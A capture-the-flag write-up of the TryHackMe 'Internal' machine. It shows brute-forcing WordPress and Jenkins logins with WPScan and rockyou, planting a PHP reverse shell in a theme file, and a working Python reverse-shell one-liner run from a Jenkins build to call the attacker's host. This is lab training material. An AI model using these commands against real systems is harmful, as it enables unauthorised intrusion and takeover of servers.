TryHackMe Internal writeup

TryHackMe Internal writeup

Internal is the last machine in the “Advanced Exploitation” part of TryHackMe’s “Offensive pentesting” path.


As I’m starting to prepare for my “Dry run” for the OSCP exam, this time I will use more stuff from my methodology.

We already learned that enumeration is crucial, right? So why would you leave a chance to mess it up, if you have more automated tools?

Today, I will use Autorecon for my initial enumeration.

The syntax is simple:

autorecon <target_ip>

The tool will generate a bunch of scans and put all the results in a folder. Easy to follow up, easy to keep notes.

Navigate to the results/<target_ip>/report/notes.txt and you will see all open ports:

[*] ssh found on tcp/22.
[*] http found on tcp/80.

You can keep track of your actions for each port right here.

Secondly, results/<target_ip>/scans/ folder contains all the fun stuff. If the tool pick up a port, let’s say port 80, it will automatically start a sub-scan for tools like nikto, gobuster, etc.

You will still need to analyze all of that stuff and maybe repeat some gobuster scans for subfolders, but just by using this tool, you increase your chance to find juicy stuff on your target.

You might also like to use Sparta for that, but I like the Autorecon a bit more.


So, Autorecon picked up that there is a folder /blog on port 80. You can see that the WordPress is running there, navigate to the panel, and try to login with something trivial as admin:admin.

internal.thm need to be added to the /etc/hosts

You will get the error message Error: The password you entered for the username admin is incorrect..

Now we know that the admin is the correct username, but the password is wrong.

Let’s use the WPScan to learn more about this setup and bruteforce the password:

wpscan --url http://internal.thm/blog/wp-login.php --usernames admin --passwords /usr/share/wordlists/rockyou.txt
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.7

       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

After a while, the WPScan will wind the correct password for you:

[!] Valid Combinations Found:
 | Username: admin, Password: <redacted>

A standard way is to navigate to the Theme editor, and add a php-reverse-shell instead of one of the pages in a template.

I usually go for 404.php as it is easy to trigger.

You can grab your template for a reverse shell from here. Don’t forget to change your IP and port.

If you’re placing your shell instead of 404.php page, you can trigger it by opening a page on the server that doesn’t exist.


Catch the shell with the nc.

You can find the username aubreanna in the /home directory, but you can’t access it yet.

Let’s look around.

If you’re stuck, check interesting directories like /var/backups, /tmp, /opt, etc. and check if there is anything that stood out.

The /opt directory in our case contains the file wp-save.txt:

cat wp-save.txt

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.


Now we can ssh to the box as user aubreanna:

ssh aubreanna@<target_ip>

Let’s check what we have in the /home directory:

/home/aubreanna# ls
jenkins.txt  snap  user.txt


To PrivEsc here we need to enumerate a bit more:

cat jenkins.txt
Internal Jenkins service is running on

IP looks weird, it’s different from the <target_ip>.

ip a

3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:a7:d9:5d:ec brd ff:ff:ff:ff:ff:ff
    inet brd scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:a7ff:fed9:5dec/64 scope link
       valid_lft forever preferred_lft forever

Now we know that we are dealing with the Docker container with Jenkins inside.

To access it we can use ssh-tunneling:

ssh -L 8080: aubreanna@<target_ip>

Now you can open localhost:8080 in your browser and get access to the Jenkins login page.

We don’t have any credentials that will work here, so let’s try a bruteforcing again.

This time I will use TurboIntruder - the extension for the Burp Suite. You can read more about it here. I used script for the TurboIntruder and the rockyou.txt as a wordlist.

You will find the password in less than a minute. You can say that by sorting the Length tab and finding the lowest size of the response.

Now you have access to Jenkins!

You can create the new Build and choose Execute shell in the options.

I used the python reverse shell from PentestMonkey as a parameter:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_ip>",<your_port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Click Build now and catch your shell with the nc.

jenkins@jenkins:/opt$ whoami

jenkins@jenkins:/opt$ uname -a
Linux jenkins 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 GNU/Linux

We are within a Docker container now. Let’s look around.

Frankly speaking, I expected to see something from GTFOBins as a way to escape from the container, but the solution was way more simple.

jenkins@jenkins:~$ cd /opt
jenkins@jenkins:/opt$ ls
jenkins@jenkins:/opt$ cat note.txt


Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you
need access to the root user account.


Now you can su from the main box to the root user.


  • Sometimes, you feel that the solution is so easy, so you stumble across the fact that each system could be different. Do not assume anything. Even the path that you followed 100 times before might not work out on 101st.

  • You can’t rely on your enumeration tools 100% of the time, those .txt notes would be found by most of them